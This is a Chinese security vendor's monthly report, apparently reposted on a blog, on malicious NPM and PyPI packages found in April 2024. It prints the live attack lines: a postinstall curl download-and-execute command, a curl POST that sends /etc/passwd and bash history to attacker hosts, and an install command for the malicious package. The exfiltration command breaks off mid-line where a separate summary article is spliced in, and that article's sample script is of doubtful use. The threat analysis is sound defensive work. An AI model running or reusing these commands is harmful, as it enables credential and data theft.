供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)

2024年4月开源供应链投毒案例分析

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。

4月份恶意组件数量及仓库分布

4月份恶意组件每日统计

4月份恶意组件态势统计

针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。

攻击方式统计

投毒组件攻击方式主要包括:

恶意文件执行

恶意文件下载

代码混淆执行

恶意文件释放

Shell命令执行

其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。

恶意行为统计

在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。

投毒案例分析

本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。

PART.1系统信息外传

4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。

恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。

收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process_data

该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。

截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。

以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install rhermann -i Simple Index

Part2 恶意设立了命令执行

4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。

​bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。

第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n

### 开源软件投毒的安全问题与案例分析 开源软件因其开放性和广泛的应用场景,在现代软件开发中扮演着重要角色。然而,随着其普及程度的提升,针对开源项目的恶意投毒攻击也日益增多。以下是关于开源软件投毒的一些典型安全问题及其案例分析。 #### 1. **恶意程序下载执行** 恶意投毒通常涉及在合法开源组件中嵌入隐藏功能或依赖项,这些功能会在特定条件下触发,从而实现恶意目的。例如,某些恶意包可能伪装成正常的库文件,但实际上会尝试连接远程服务器以下载额外的有效载荷[^1]。这种行为可能导致敏感数据泄露、系统权限被窃取或其他形式的破坏。 #### 2. **NPM 和 PyPI 的恶意包投毒趋势** 根据悬镜供应链安全情中心的数据,2024 年初以来,NPM 和 PyPI 这两个主流开源仓库频繁遭受恶意投毒攻击。具体来看: - 在 2024 年 2 月期间,共发现了 503 个不同版本的恶意组件包,其中 NPM 占比高达 89.46%[^2]。 - 到了同年 3 月,情况发生了变化——尽管总体捕获量增加至 1085 个,但 Pypi 成为了主要目标之一,占比达到 61.47%,特别是在月末的一次集中式攻击中,有近 600 个恶意 Python 组件被投放到该平台上[^5]。 这表明攻击者正在不断调整策略,并试图利用不同的生态系统弱点来扩大影响范围。 #### 3. **技术手段:基于图模型的行为分析方法** 面对如此严峻的形式,学术界也在积极探索有效的解决方案。复旦大学 CodeWisdom 团队提出的 SpiderScan 工具就是一个典型案例。它采用图形化建模的方式对 npm 软件包进行全面扫描,包括但不限于以下几个方面: - 可疑行为提取; - 动静态脚本解析; - 深层混淆识别; - 自动化的恶意判定机制[^3]。 这种方法不仅提高了检测效率,还降低了误率,对于维护整个生态系统的健康状态起到了积极作用。 #### 4. **加强防范措施的重要性** 鉴于当前复杂的网络安全环境,开发者应增强自身的防御意识和技术水平。一方面可以通过引入专业的第三方服务提供商(如前所述提到过的“悬镜”),借助他们先进的 SBOM 管理工具及时获取最新威胁情信息;另一方面也要养成良好的编码习惯,比如定期审查所使用的外部依赖关系链表是否存在异常变动等情况[^4]。 --- ### 示例代码片段 以下是一个简单的 Python 函数用于检查本地安装的所有 pip 包是否有更新可用: ```python import pkg_resources from subprocess import call def update_all_packages(): packages = [dist.project_name for dist in pkg_resources.working_set] call("pip list --outdated", shell=True) update_all_packages() ``` 此脚本可以帮助用户快速定位那些可能存在安全隐患的老版本库文件,并提醒升级操作。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值